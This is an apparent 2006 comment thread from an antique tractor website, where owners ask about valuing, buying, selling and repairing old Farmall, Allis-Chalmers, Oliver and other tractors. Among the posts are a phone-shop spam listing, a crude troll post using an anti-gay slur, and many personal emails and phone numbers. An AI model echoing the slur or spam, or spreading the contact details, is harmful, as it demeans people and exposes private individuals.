Jacob Line wrote on Saturday, June 03, 2006 (PDT):does anyone know what the value of a 1955 or 56 Farmall B tractor is? My grandpa had an old one and my dad is the one who now owns it. If you need a picture I should be able to supply one in a few days.
mike,IN wrote on Friday, June 02, 2006 (PDT):I recently bought my grandpas 53 golden jubilee.It really works well. I would be interested in a set of tracks.Does anyone have any information . thanks
Art Corbit wrote on Friday, June 02, 2006 (PDT):Aaron it sounds like you don't have your lift hooked up right. Also those plow points must have a long nose on the front of the point and turned down pretty good. Both the fromt and rear of the blow must be lifted. How low you let the front down determines how deep the plow goes. The lone "U" shaped draw bar turns around backwards and bolts to reach gear housing on the rear. A chain or bar goes own from the front lift to the draw bar. It bolts with only one bolt on each side where it can move up and down. You don't have to lift the front of the plow every time you lift it out of the ground. Just adjust the front lift where the plow will go as deep as you want it to. The back lift will pull it out of the ground just fine. That little super A is a fine little tractor and quiet a work horse. If you have anymore qiestions please feel free to email me. Art
Art Corbit wrote on Friday, June 02, 2006 (PDT):I have owned and used several small tractors and I have never found one that would even come close to the G model Allis. Pound for pound it will out pull anything it's size. Sure wish I could fined a good one now will all the tools. That is close enough to Arkansas that I could go get it.
Mike wrote on Thursday, June 01, 2006 (PDT):My Grandfather bought a "G" and restored it but he is looking for the hood to go over the motor. If anyone knows where I can locate one I would appreciate it. It would make a great gift and make a nice finish to the tractor.
David Miller wrote on Thursday, June 01, 2006 (PDT):Just purchased a B to restore. I now looking for a BN to resotre for my brother. We had one on the farm years ago.
David Miller wrote on Thursday, June 01, 2006 (PDT):Just purchased a B to restore. I now looking for a BN to resotre for my brother. We had one on the farm years ago.
Tom Fourman wrote on Monday, May 29, 2006 (PDT):I have a 1950 MH 44 with a manure loader on the front. It needs repainting. Otherwise, it is in good condition. A friend wants to buy it; but I have no idea what it is worth. Can anyone tell me a fair value? Thank you.
Whit wrote on Monday, May 29, 2006 (PDT):We have an Allis Chalmers 35 crawler with grader out on the farm, hasn't moved in about 30 years. Kinfolk are selling the property, said we could sell any old machinery, this in a neat piece, but rather rusty... It's in south central Texas, sorry no delivery. Pics here... www.pbase.com/whit2/farmfinds&page=6
Derek Norton wrote on Monday, May 29, 2006 (PDT):Can anyone tell me where I can find rear tires for a AC G? If so please E-Mail me. dmsbnorton at yahoo.com Thanks
Derek Norton wrote on Monday, May 29, 2006 (PDT):I have recently came across a 44 Special gas. It is a 1955 model. It appears to be complete and fairly staight. It only has some minor dents and surface rust. The motor is locked up but the block appears to be good. Can anyone tell me roughly what it would be worth. If anyone can help E-Mail me DMSBNorton at Yahoo.com Thanks
Horace Moody wrote on Sunday, May 28, 2006 (PDT):The same MH-44 has some ignition issues as well - has anyone installed an electronic ignition system? If so, what type? Where can I find a new coil for this, or will any coil off the shelf work? Thank you.
Horace Moody wrote on Sunday, May 28, 2006 (PDT):I've been working on a MH-44 with carburetor problems. Rust is a big issue - does anyone offer an "after market" version with an alloy case?
STEVEN CLODFELTER wrote on Sunday, May 28, 2006 (PDT):JUST CURIOUS I-9 NEVER HAD HYDRALICS C0RRECT? NOW A W-9 WOULD THOUGH? I JUST INHERITED AN I-9 BUT WOULD LIKE TO PUT HYDRALIC PUMP ON IT TO MAKE IT A LITTLE MORE USABLE, I'M MORE OF A CAR GUY, AND THIS WILL BE MY FIRST TRACTOR RESTO, COULD SOMEONE GIVE ME ADVICE ON HOW HARD THIS WOULD BE?
Ryan Baxter wrote on Thursday, May 25, 2006 (PDT):I finally got the Farmall H i wanted its a 1942 the front whelles shake and the voltage regulator is stuck i just ordered a new one can wait to take the first ride.
Don wrote on Wednesday, May 24, 2006 (PDT):I have a super dextra 2000. Can someone tell me where to locate the spring that goes on the throttle linkage.
emmanuel wrote on Tuesday, May 23, 2006 (PDT):mobilephone_shop2006 at yahoo.com Nokia 6020 tri-bank edge gsm/gprs $224.99 Nokia 7610 tri-band gsm/gprs $324.99 Nokia 9500 tri-band pda gsm/gprs $724.99 Nokia 6822 gsm/gprs phone $274.99 Nokia 6650 $180usd Nokia 6670 smart phone $200usd Nokia 6820 $190 Nokia 7200 $195usd Nokia 9300 $220usd Nokia 7250i $175usd Nokia 8800 ...$220usd Nokia 9210i communicator $160usd Nokia 9500 communicator$260usd Nokia 9300 communicator..$200usd Nokia n-gage $180usd Nokia n-gage qd.$200usd Nokia n92 $280usd Nokia n91 $200usd Nokia n90 $170usd Nokia n70 $160usd Nokia 1100-- 100 USD Nokia 2100-- 100 USD Nokia 2300-- 120 USD Nokia 3100-- 145 USD Nokia 3108-- 140 USD Nokia 3200-- 140 USD Nokia 3230-- 140 USD Nokia 3300 - 140 USD Nokia 8910 Titanium-- 180 USD Nokia 8910 Black-- 185 USD Nokia 8910i--185 USD Nokia 8890-- 170 USD Nokia 8850 Special Edition-- 155 USD Nokia 8850 Gold Edition-- 140 USD Nokia 8855-- 145 U
Ben Giroud wrote on Monday, May 22, 2006 (PDT):I have a black dash 720 diesel in show condition with electric start & origional wide front but I recently noticed I am getting fuel in the crankcase whether running or not. Has anyone had this problem with a 720d?? It runs great, has great oil pressure and plenty of power as I have pulled it twice along with my other brands of tractors and done very well. I recently got a diagram of the possible leaking locations and found this was common problem on the older JD 80 diesels. Any comments or possible easy solutions to this problem would be appreciated as I am reluctant to tear into this problem without help.
Wally wrote on Monday, May 22, 2006 (PDT): An old friend of mine has what I believe to be a model 81 in his back yard. He would like to sell it. He lives in Connecticut. It is a near running tractor, outside of a rusted manifold.
Dan Carruthers wrote on Monday, May 22, 2006 (PDT):I have a Massey Pony that i need to rewire, anybody have a wiring diagram or can give me any help?
Carol Anderson wrote on Monday, May 22, 2006 (PDT):I am looking for decals (not like all the ones I see on Ebay) for my son's 1971 Farmall. He rebuit the engine and painted it a month ago and can not find decals like the ones he removed. The tractor is the cream and yellow one and the decal on the hood was a sticker about 24" long and 4" wide. The top part of the sticker was Red and said INTERNATIONAL AND THE BOTTOM SAID CUB CENTERED IN BLACK WITH FOIL LOOKING STRIPES ON EACH SIDE OF IT. If you can help I can email you a picture of the decals. Thanks. Please contact me at razz at 1st.net.
Adam Cox wrote on Sunday, May 21, 2006 (PDT):My neighbor has what I think to be a Farmall M he wants to sell me for $700, it has a wide front end and is decent shape. Any info on how to make sure this is in fact an M and any other info on these tractors would be great, Thanks adamtcox at gmail.com
Jim Stachoviak wrote on Saturday, May 20, 2006 (PDT):I just bought a 1955 super 55 with a loader and back scraper this week..Runs good after tune up etc.. BUT the loader Hyd. and the three point hyd. sort of loose altitude after the equipment is used for a short time. The oil looks as if there is water in it,, {ie milky} I am going to drain it out and add all new..Is the oil hydraulic oil, or 30 sae oil? Also where can I find a good repair manual for the Oliver 55 ?? I just found this site.. I hope it is a lively site... If it is, let's keep it going..
Valley wrote on Friday, May 19, 2006 (PDT):Hi. I am from Quebec-Canada the home province of J. Armand Bombardier who invented this device. In his brief description Bob is right and here are two links that will lead you to the invention itself. The first one show you the invention in motion while the second gives drawings of the patent itself (responds to Nathan's question). The invention at work www.fjab.qc.ca/en/content/jab/biographie1949_1958.htm The invention itsef ; www.fjab.qc.ca/en/content/jab/brevets2.htm As a kid I saw many of these rigs on farmer' tractors and wood yard hauling in winter. I have a 9N and in process to buy one. Have fun! Valley
tom dale wrote on Thursday, May 18, 2006 (PDT):I have a 1947 and still use it. This summer I will convert it to 12 volt. I need attachments?
R Williams wrote on Thursday, May 18, 2006 (PDT):I have a Massey Harris 44 early model (not sure what year)I am in need of brake drums (2). The drums that for this tractor has six (6) bolts each drum that hold it on to the shaft. I need parts. Can anyone help?
B. Joseph wrote on Thursday, May 18, 2006 (PDT):We have a 1964 550 which my Dad purchased used in the early 70's. We used it every day hauling feed and many other duties feeding 1600 hogs farrow to finish each year. In 30+ years of farming with many tractors, I've always said this little workhorse was and is my favorite. I love the power steering and live pto. Now in my later years with the kids gone and married, I am getting up my courage to restore this little favorite! We still use it to mow and run augers. We don't have the hogs anymore! Suggestions would be appreciated!
colin colbourne wrote on Wednesday, May 17, 2006 (PDT):in these forums i see on a regular basis the question of engine color. i cannot remember the paint codes off the top of my head. the rims were painted straw yellow. the tractor itself is red. the engine was painted red except on wartime models. these were painted black. the war times models would run from 1941 to 1945.
coy tite wrote on Tuesday, May 16, 2006 (PDT):I have a 1952 Sc and I am tring to find Main Rod Bearings I need them to be -.020 and I am also looking for front and rear seals for my tractor. I haven't had any luck yet tring to find them so maybe someone can help a guy that just wants his tractor running again. Thank's Coy
JOAQUIN ALBERO wrote on Tuesday, May 16, 2006 (PDT): I HAVE A TRACTOR PORT HURON 1911 TO RECOVER. UDS.ME PODRIAN TO INFORM AS IS THE PRICE THE INTERNATIONAL IN THIS ESTADO.SALUDOS JOAQUIN
Dwight Hoover wrote on Saturday, May 13, 2006 (PDT):my father is 80 farmed most of his life owned and ran many makes of tractors and machinery. he loved to grow corn and alfalfa for his dairy cows. his favorite tractor of all time was a 1942 silver king. it was the first tractor he owned when my mom and he started farming. if anyone has any info on where i could find one i would like to buy one for him thank you and keep farming dwight.
Brendan wrote on Saturday, May 13, 2006 (PDT):Has anyone out there removed the steering wheel from a Farmall A? I spent all winter coaxing the nut off with lots of penetrating oil and patience, afraid I'd break it. After I got that off, I dimpled the steering shaft with a gear pull before learning that underneath a bit of rust hid a drift pin or key. Gentle tapping does nothing, but I don't know in which direction to use greater force. It looks as though drifting it back toward the driver might damage the teeth of the shaft. Please help, feel free to email to "lawbrendan at chartermi.net" Thanks.
Dick Cranston ( New Bern, N.C. ) wrote on Saturday, May 13, 2006 (PDT):Need to rent a one or two bottom pull-type plow for one day. Brought a lot that needs to be plowed under first. I have a Allis-Chalmers "B" tactor. Thank you, Dick
Dick Cranston ( New Bern, N.C. ) wrote on Saturday, May 13, 2006 (PDT):Need to rent a one or two bottom pull-type plow for one day. Brought a lot that needs to be plowed under first. I have a Allis-Chalmers "B" tactor. Thank you, Dick
Mr Monkey Butt wrote on Thursday, May 11, 2006 (PDT):Poop
Donald Gresko wrote on Wednesday, May 10, 2006 (PDT):My dad had two 1929 case tractors one with rubber tires and one with steel.I drove both of them plowing,spraying fruit trees,pulling out trees and all kinds of other things.these were great tractors, you could never over work these tractors believe me i tried . use to start them up on gas put a piece of cardboard in front of the radiator when the water started to boil then I would change over to kerosine and run all day long.DON'T know what happen to them they were parked behind the barn when my dad passed away about 18 years ago.reading all these comments brings back memories and the good old times. I was 8 years old when i first drove one.what a thrill that was.that was better then drinking a cold bottle of Bud.
Rachael W wrote on Tuesday, May 09, 2006 (PDT):Any ideas for an arena groomer that we can use on our Eagle hitch? We are using a parma arena groomer only as a pull behind. If we try to use the Eagle hitch it the implement misses the ground by 5 inches. Any ideas on a different implement or modifications for the current implement? Thanks
Sycor wrote on Tuesday, May 09, 2006 (PDT):I am looking to purchase an 800 series tractor in good condition. I live near Chicago.
Clayton Ott wrote on Monday, May 08, 2006 (PDT):Kale, farmalls are not worth much unless you have a very rare one or one of the very first production models. Im guesing your M is worth between $3500 and $5000 you might get a little more for it because it has a wide front end but its not worthmore than $6000
Mel Hansen wrote on Sunday, May 07, 2006 (PDT):I am looking for imformation on a Nuefled 460 I have the tractor but no imformation
Matt Richey wrote on Friday, May 05, 2006 (PDT):I have a couple questions about a 1940 Farmall B. What type of oil should I be using, and what are the recommended sparkplugs? Thanks, Matt Richey
C. Lasiter wrote on Thursday, May 04, 2006 (PDT):I am looking for a AC-G in running condition (Southern or Central California area.
jim lederbrand wrote on Wednesday, May 03, 2006 (PDT):I am looking for a D-21 series II restored or unrestored. If you know of one please email me. I am located in springfield ILL. Thankyou.
Aaron Fuss wrote on Monday, May 01, 2006 (PDT):I have a Super A with a sigle bottom plow , need help , will not dig in and plow , hooks in front under tractor in front with y shaped bar , each side of the open of the y bolts on , other end to tounge of plow it a channel shaped open for a bolt , the back of the plow hooks to the down ward pointing J shaped bars with two holes in them that lift the plow , the plow will only drag is some thing missing , what makes the plow tilt in to the ground instead of dragging ? What controls the tilt of the blade , am I missing a piece between the y bar and plow tounge ? Thank you for any help.
thomas bowden wrote on Monday, May 01, 2006 (PDT):i am looking for a gmodel for small row crop with cultivators in the south east area
BERNIE wrote on Sunday, April 30, 2006 (PDT):LOOKING 4 MAGNETO FOR RUMLEY ,OWN 1929
Zach Wisen wrote on Saturday, April 29, 2006 (PDT):I have always wanted one since I first saw one. Here is a great site about them.There a movie of it pulling also. www.twocylinderdiesel.com/The_R/index.html
clayton wrote on Friday, April 28, 2006 (PDT):I have a Field Marshall and I need some parts. I think it is a series 3....three foot pedals. I don't know the serial #, no tag. Anyone with parts in Canada or close to Manitoba please contact me
clayton wrote on Friday, April 28, 2006 (PDT):I have a Field Marshall and I need some parts. I think it is a series 3....three foot pedals. I don't know the serial #, no tag. Anyone with parts in Canada or close to Manitoba please contact me
Allen Brinkley wrote on Thursday, April 27, 2006 (PDT):I am looking for a 2 row planter and sickle bar mower for my 1948 AC G. Anyone know any good places to look in MO or IL?
steve caggiano wrote on Thursday, April 27, 2006 (PDT):looking to by a 1937 or 1938 oliver orchard in 100 restored condition what should i pay
verlin logan wrote on Thursday, April 27, 2006 (PDT):I'm wanting to buy a 140 farmall tractor.the tractor i've been told is a 1976 and is in good condition. what is a good selling price ? what is this tractor worth? someone please let me know.verlin in arkansas
Richard Wilson wrote on Thursday, April 27, 2006 (PDT):My father had a 1936 T20. A good many years ago, he sold it to a collector. This was during the mid 70's. It started and ran well. Several months ago, I found a series of photographs of the crawler from various angles and have been unable to find them again. This machine had a foot clutch. I am curious as to whether all T20's had this. What years were they made?
Lance Neufeld wrote on Tuesday, April 25, 2006 (PDT):I am looking for a Farmall Cub or Cub Loboy (preferred) in California. Prefer clean/restored or original condition but all examples considered.
CHERYL JOHNSON wrote on Tuesday, April 25, 2006 (PDT):I HAVE A 1955 FARMALL CUB, HAS HYDRAULICS WITH 1 POINT HITCH AND HAS 9 ATTACHMENTS IS IN GREAT SHAPE, NEW TIRES.. ASKING 5,200.00 .. ALSO HAVE A 1957 FARMALL CUB WITH HYDRAULICS, FRONT BLADE, 5 FOOT BELLY MOWER, NEW OVERHAUL ON THE ENGINE, RUNS GREAT... IF INTERESTED PLEASE CALL 1-715-273-3483 OR 1-715-821-3483 CELL ASK FOR KERRY THANKS
Helen Davidson wrote on Monday, April 24, 2006 (PDT):Looking to purchase an International Farmall Super A Hi-Crop Tractor. Perferably with some attachments. Will consider one in non-running condition.
Brad Gambino wrote on Monday, April 24, 2006 (PDT):I bought a Massey Harris 44 gas, 4 cylinder, serial number 44-GR-20649, i am in need of the three point system that goes from the rock shaft to the draw bar. If anyone can help me out my e-mail is brad_gambino at yahoo.com. Thanks alot!
Larry Curtis wrote on Monday, April 24, 2006 (PDT):I have a 9N with a flat head 6 cyl., not sure of the yr. but would like to know where to get info on it.
Ufuk CAKMAK wrote on Sunday, April 23, 2006 (PDT):I FROM TURKEY/CORLU MY FAVORIT TRACTOR 1952OLIVER STANDART77, PLAESE SEND TO MAIL OLIVER STANDART 77 PHOTOS, BECAUSE MY OLIVER NEW DESIGN RESTORE THANK YOU,
Jim wrote on Saturday, April 22, 2006 (PDT):I have a cleveland tractor GENERAL that is complete but in poor condition and would like more information or would like to sell to a good home it is a GG with a readable id tag please write me at amber8706 at peoplepc.com
Darrel weippert wrote on Thursday, April 20, 2006 (PDT):I think I know where one of these tractors is at the only number on it is 248728 ih painted yellow wanting to sell it
neil cowley wrote on Monday, April 17, 2006 (PDT):I have a super M and am trying to get the radiator off, does anyone have information on how it ataches on the lower end (bolted or pins?). am also changing the valve gasket, any advise? thanks
John Brown wrote on Monday, April 17, 2006 (PDT):I'm A queer and I'm looking for a vintage 50's man. I like those wrinkly old balls. Lets make love in the hay loft. I love farmers who are fat and wear tight little wranglers with speedos. give me some lovin'.
Otis Ellerson wrote on Sunday, April 16, 2006 (PDT):I currently own a set but are going up for auction 4-22-06 at the 18th broome county farm bureau auction.
Bob T wrote on Friday, April 14, 2006 (PDT):Grew up on this tractor. Never failed to start, but I did manage to get it stuck more than once. Dad called me a mud magnet.
GRANT SETTY wrote on Friday, April 14, 2006 (PDT):HAY ROB I WAS WONDERING IF U COULD SEND ME SOME PICTURES AND HOW MUTCH WOULD U WANT FOR IT THANKS E-MAIL grantzworld_92 at hotmail.com
david wrote on Friday, April 14, 2006 (PDT):you,d have thunk some one coulda put some air in the front tire before shooting the picture. or has it been posted so long that the air leaked out?
Mark wrote on Thursday, April 13, 2006 (PDT):Have a extra engine for a farmall F20, if anyone is interested.
John Drummond wrote on Thursday, April 13, 2006 (PDT):I am in the market for a Formall BN in running condition.
george wrote on Wednesday, April 12, 2006 (PDT):thias is for Nell Dozeir your b is a 1939
RoseMarie Ragan Matthews wrote on Wednesday, April 12, 2006 (PDT):Hello! A Oliver Super 44 was the first thing I drove! My Dad sold it when I was 16! If anyone has one for sale in the southeastern USA. Please email me! I was raised on a farm! I could take his tractor put the attachments on it and just about do anything on the farm with it that needed to be done! I have a saying " I clean, I cook and I can drive a green tractor too!"
cory luper wrote on Wednesday, April 12, 2006 (PDT):im live in ok,
cory luper wrote on Wednesday, April 12, 2006 (PDT):i have a farmall cub for sale im asking $2500 for it runs good new tires has belly mower please email
E.T. Zandarski wrote on Wednesday, April 12, 2006 (PDT): D17 hydraulics problems. This was my fathers tractor, he died 11 years ago of cancer. I finally got it back in the family, but it has problems, it sat for 5 years under a lean-two. Hydraulics are not lifting, please help. Checked hydraulic hose in pumpkin and o-rings in cylinder.Everything looks good. Why wouldn't any oil come out the back of the hydraulic line, going back to the rear hydraulic lift system? Screwed transport valve in, no lift. Screwed out, no lift. Loosened line on pressure side of transport valve, started engine no fluid came out the pressure side of line. Pulled relief valve apart and everything looks good. Left relief apart, started engine and no oil came out at all. Followed both hydraulic lines to the front, one was on the left side of the gastank and the other is on the right side. Disconnected both lines, blew air threw lines and were clear. Next, blew air into pressure side heard oil bubble on pressure side. Did the same to return side, same thing. Started engine with lines disconnected, no oil at all. Moved levers up and down still no oil. Also, power director lever is stuck in the forward position. PTo lever will not move. Will not engage. Is this a pump problem? We have the IT manual is that the best one?
Rob Post wrote on Tuesday, April 11, 2006 (PDT): I have an Oliver 70 that runs beautifully and would like to sell it. It has a pretty rough loader on it but would sell with out loader. It is a row crop. Rear rubber is in bad shape but I do use the tractor so it is ok.
grant setty wrote on Monday, April 10, 2006 (PDT):i am really ancius to have an oliver of any modle i would like to find it in illinois or indiana for 1000 dollers or perferibly less i need a summer project this summer.thank you my e-mail is grantzworld_92 at hotmail.com thank you for your time
Jim Robinson wrote on Sunday, April 09, 2006 (PDT):I have a mid 60s model 2010 row crop. I seem to be having transmision problems. The tranny makes a grinding noise when the tractor is in reverse and doesnt move. Does the linkage need adjusted or I have been told that it probaly needs syncros. Any help here would be greatly apriciated.
Josh Sumner wrote on Sunday, April 09, 2006 (PDT):about to buy a 1970 or 71 farmall hi crop, just wanted to see if i could get a ballpark price for the tractor and all the equipment,sweeps, fertilizer spreader..etc.rough condition .but does still run.
Josh Sumner wrote on Sunday, April 09, 2006 (PDT):about to buy a 1970 or 71 farmall hi crop, just wanted to see if i could get a ballpark price for the tractor and all the equipment,sweeps, fertilizer spreader..etc.rough condition .but does still run.
Michael Davy N.Z wrote on Saturday, April 08, 2006 (PDT):I have a 1932 i think. It looks like WC tractor but early guards only crank start no starter motor spoke wheels at the back only. If any body got any informaion it would kindly appreciated I had it fireing but not going i since pull the head off and misplace the push rods and mag if any body has these parts and want to sell or any has any information on these tractors are they rare. Please email at vickiandmichael at clear.net.nz
fco.javier sanchez wrote on Saturday, April 08, 2006 (PDT):I have a one of this old beauty, and I want to sell it. It is in good condition but the last time it woked was about 30 years ago. More or less how much I must sell it?
Maurice E. Torrey wrote on Thursday, April 06, 2006 (PDT):I have a Farmall B for sale, starts and runs nice, needs some work, brakes are weak, and there is minor damage to radiator cowling and hood. I live a little north of Wellsville, NY. Will deliver for a price
DAVID A. PLANT wrote on Thursday, April 06, 2006 (PDT):I HAVE A FORDSON MAJOR DIESEL BELIEVED TO BE OF EARLY-MID 1950s VINTAGE . THIS IS EQUIPTED WITH 38 " RUBBER ON THE REAR ,16 RIBBED ON THE FRONT . I NEED THE PROOF METER CABLE , PROOF METER ,AND THE INSTRUMENT CLUSTER [LEFT OF STEERING WHEEL] WHICH CONSISTS OF A TEMPERATURE GAUGE [TOP CENTER] AND INDICATOR LIGHTS FOR CHARGING AND OIL PRESSURE BELOW THE TEMPERATURE GUAGE. THESE ASSEMBLIES ARE 3 3/8" IN DIAMETER . ANY INFORMATION OF SOURCES FOR THESE ITEMS WILL BE VERY MUCH APPRECIATED
Jim Broughton wrote on Saturday, April 01, 2006 (PST):FritZ; Your Cub is a 1973 model,per the serial list in Yesterday's tractors...YTMAG.COM
Timothy Monnier wrote on Saturday, April 01, 2006 (PST):Hi Folks, Ya, I have the exact tractor I believe, I bought it from a retired farmer and he went from front to back on the old girl, runs like a new one, BUT I am having a bit of trouble with the loader on it, it just don't have the power to lift a full load in the bucket. Anyone out there got any ideas you can share with me to give the lifting more power? Just curious, what do you think the tractor is worth? as I said, if it sat next to the one in the picture on the front page, mine would shine more, eveything is good on it, no B.S. either, good rubber and all. Anyway, if anyone can help me, give me a e-mail ,Thanks Tim
fritz foco wrote on Saturday, April 01, 2006 (PST):I OWN A INTERNATIONAL CUB TRACTOR. SER#241951 J. COULD SOMEONE TELL ME HOW OLD IT IS.
Nell Dozier wrote on Thursday, March 30, 2006 (PST):I have a Farmall B (International Harvester) - serial number FAB 1540. Can you tell me the year this tractor was manufactured?
jonboy wrote on Thursday, March 30, 2006 (PST):I just bought an oliver supper99 with 6 cyl diesel I would like to know how many were made like this one and the years they were made? I am going to use it for tractor pulling. How would it do against a JD 830?
Mitchel Zorger wrote on Thursday, March 30, 2006 (PST):I am 16 and we have all allis chalmers on are farm we have a 200 and i can't imagen how powerfull its older brother the 220 is!!
Dwaine McCormack wrote on Thursday, March 30, 2006 (PST):Looking for a steering wheel & center cap for 1936 SK model R66 I would appreciate any help.
Carl Besola wrote on Thursday, March 30, 2006 (PST):In response to Richards Quest. about decompressor operation. If batt. has enough power, eng. should start without decompress. Dagenham when tuned right will start pretty easy depending on outside temp. If nescessary however, it is best to have an assistant. raise lever to decompress, spin eng. over, and when it begins to fire pull down on lever for full compression and eng should start. Whoever is working the lever should have some common sense so they don't stick they're hand in the fan or something stupid like that. Also in my experience, when eng is tuned right, it will knock and ping and shake and lope up and down on the governor when idling, I've found that if they idle smoothly, they will be hard to start and won't have full power [something to do with timing]. My father at one time had 7 FMD's, 5 with sherman loader and power diggers, one with wagner loader,[no digger]and one as a farm tractor.
Andy Fay wrote on Wednesday, March 29, 2006 (PST):I am rebuilding a 1927 farmall regular before the F-20 and need to Know the Engine size to be able to order parts. Not finding much info.
Zac Jancek wrote on Tuesday, March 28, 2006 (PST):We've inherited a Silver-King A Model tractor and would like to know if anyone would be interested in purchasing it. It is not a narrow front; it has 4 wheels and we think it's from the 1940's. Wondering how to appraise this tractor also.
Homer H. Kurth wrote on Tuesday, March 28, 2006 (PST):This is the story of the Bull Tractor as told me by Charlie, whose father purchased one in l912. They lived 10 miles south of town. "We got work that our Bull was on the loading dock in town. So we hitched the mules to the wagon and went to town to get our Bull. "I wanted to drive the Bull (Charlie was 14 years old at the time), but dad said, 'No, Charlie, I'll drive the Bull. You take the mules, but don't run away from me.' "Seven miles out of town the front wheel fell off. We got the Bull hung on to the wagon and drug it on home with the mules. When we got it repaired, we decied to plow a small field north of the homestead. We plowed about two acres, and the engine quite. We cranked and cranked and could not get it started. Dad got in touch with the company and the company sent a man out to our farm. He checked the engine and told dad it was worn out, and we needed a new engine. And, of all things, dad ordered a new engine. That installed, we started to plow again. This time we plowed about three acres when the engine quit. Again we cranked and cranked, but it would not start. I could see dad was getting sore. Finally he said, 'Charlie, go home and get the mules.' With the mules hitched to the Bull we drug that Bull out of the field into the windbreak right north of the homestead." To this I add that I remember seeing that Bull stand there in the windbreak in my childhood and in my teenage years, when I worked for Charlie. I am now 90 years old
Homer H. Kurth wrote on Tuesday, March 28, 2006 (PST):This is the story of the Bull Tractor as told me by Charlie, whose father purchased one in l912. They lived 10 miles south of town. "We got work that our Bull was on the loading dock in town. So we hitched the mules to the wagon and went to town to get our Bull. "I wanted to drive the Bull (Charlie was 14 years old at the time), but dad said, 'No, Charlie, I'll drive the Bull. You take the mules, but don't run away from me.' "Seven miles out of town the front wheel fell off. We got the Bull hung on to the wagon and drug it on home with the mules. When we got it repaired, we decied to plow a small field north of the homestead. We plowed about two acres, and the engine quite. We cranked and cranked and could not get it started. Dad got in touch with the company and the company sent a man out to our farm. He checked the engine and told dad it was worn out, and we needed a new engine. And, of all things, dad ordered a new engine. That installed, we started to plow again. This time we plowed about three acres when the engine quit. Again we cranked and cranked, but it would not start. I could see dad was getting sore. Finally he said, 'Charlie, go home and get the mules.' With the mules hitched to the Bull we drug that Bull out of the field into the windbreak right north of the homestead." To this I add that I remember seeing that Bull stand there in the windbreak in my childhood and in my teenage years, when I worked for Charlie. I am now 90 years old
Bill Ritter wrote on Tuesday, March 28, 2006 (PST):I have a 1950 model 42 Silver King tractor. My grand father baught it in 1957 and used it on the farm. It was restored about 12 years ago by my dad . We then used the tractor on our farm making hay and other odd jobs. when we sold the farm the tractor went in to storage. Now i want to fix it up to look brand new. The tractor came with a frontend loader when my faimly bought it in 1957, but has been long gone. If any body can tell me where i can buy a loader for it i would appreciate it.
William Brogan wrote on Saturday, March 25, 2006 (PST):My Pop and I have a B for sale if you might be interested please contact me.
Gary Clark wrote on Friday, March 24, 2006 (PST):Just south of Camden Ohio on the Swan Beatty road is an old regular that belonged to my grandfather,F. M. house. it is in some trees next to the road. it was used tp buzz saw slabs at his sawmill. cam
brian koeman wrote on Thursday, March 23, 2006 (PST):i'm looking for a golden eagle 40 diesel call 616 437 9277
grants setty wrote on Thursday, March 23, 2006 (PST):i am looking for an oliver tractor doesnt matter what modle i would like to find one in centrailil or in thanks grantzworld_92 at hotmail.com or 18157856256 i will be home after 6 o clock thanks
Dave (NE) wrote on Thursday, March 23, 2006 (PST):Wayne, the Agco dealer was the only place I was able to find the brake disc. Have you taken them out and checked them? They frequently get a glaze on them that can be sanded off with emery paper. I replaced one set and sanded the other set on mine. The sanded set seems to work better.
Ken Kucille wrote on Tuesday, March 21, 2006 (PST):I was just reading some comments on this website and came across someone who asked about changing their 1966 D15 Series ll to negative ground. Is this tractor a positive ground? I have a 1965 D15 Seriesll and would like to find out before I complete the restoration.
Kevin Chadwick wrote on Tuesday, March 21, 2006 (PST):I have a Farmall A,the serial number plate by the seat is missing, asI need to purchase new exhaust and inlet valves,how do I age my tractor as all sites refer to serial numbers to order spare parts.Where can I purchase new valves and any idea of the correct part numbers.Kevin
jeffrey wrote on Monday, March 20, 2006 (PST):any information would be helpful. Thanks
jeffrey wrote on Monday, March 20, 2006 (PST): i am 13 yrs.old and my dad said that his dad used to have an Oliver. He thinks it is an Oliver 60? Did Oliver ever make an all steel 60? I have never seen it but my dad said that it was rusty when he was a kid (in the 60s) and he said it wasn't running then. So i imagine it is stuck and would take a lot of work though.
clay maxwell wrote on Saturday, March 18, 2006 (PST):I have an 1942 Oliver 60 R/C that wass given to me by my grandpa who passed away just this year before we could ever restore it. So i am going to try to do it myself. The sheet metal is in good condition it needs paint and the engine is stuck. If any body has any info on how to go about doing this it sure would be nice. Thanks
Martin Kutter wrote on Saturday, March 18, 2006 (PST):I was wondering if the 8/16 was made in 1912? If so what would the value be for it. It is complete but not running.
Alan Bebout 707 Nth 7th Blythe Cal. 92226 wrote on Saturday, March 18, 2006 (PST):Please send my address to Mr.Dean A Jaeger and advise me of his ? purpose being to buy and sell .
asim abdalla wrote on Saturday, March 18, 2006 (PST):I would like to buy massey ferguson model 290,BUILT In 1992 2WD Please let me hear from. you
Billy Spoon wrote on Friday, March 17, 2006 (PST):If I ever saw a F20 for sale and in good shape I would pay $1000-1500 for it.
muddy roads wrote on Friday, March 17, 2006 (PST):have 1982 honda goldwing mint shape will trade for john deere model l or la in mass.774-259-7998
Thomas Courtney wrote on Thursday, March 16, 2006 (PST):We Have 2 Super Dextas. We retired the first with well over 10,000 hrs. We just acquired a "new" one for $3000, with just over 2100 hours. Great tractors, but you better park on a hill below 50 degrees. Our first Dexta with over 10K hrs still runs fine, but needs injectors cleaned, and tranny rebuilt. Then we will have 2 again. Our Newer dexta has a mounted EnFo Manure Loader, which is only one armed.
Dewitt Edenfield wrote on Thursday, March 16, 2006 (PST):I have a '56 Cub that runs great, looks pretty good, and that I love! I farm 5+ acres with it and it really is a work horse. Greatest little tractor in the world.
casey wrote on Monday, March 13, 2006 (PST):I am looking to buy a sickle-bar mower for my Allis G. Willing to ship from anywhere to Pacific Northwest. Thanks!
tarig osman wrote on Sunday, March 12, 2006 (PST):Iwould to buy MF290 BUILT In 1992 2WD
Todd Yates wrote on Friday, March 10, 2006 (PST):I have a serious 2 that was used as the main tractor on our farm up to about 10 years ago now i am in the process of restoring her, all up we have about 30 marshals all told most of all are bones and still have some brand new rings and bearings as well as alot of other parts stored away but sorry I cant help yous as I am in New Zealand but keep on bringing these beautys back to there glory..
Denny Robinson wrote on Friday, March 10, 2006 (PST):Ihave resently been given a eihier an L or LA by an uncle. I believe the seriel numbeer is missing, or I do not know where to look. If it is missing how do I come up with a number and how do I figure out exactoy what it is. I neek to get manuals for it, not sure which manuals to buy.
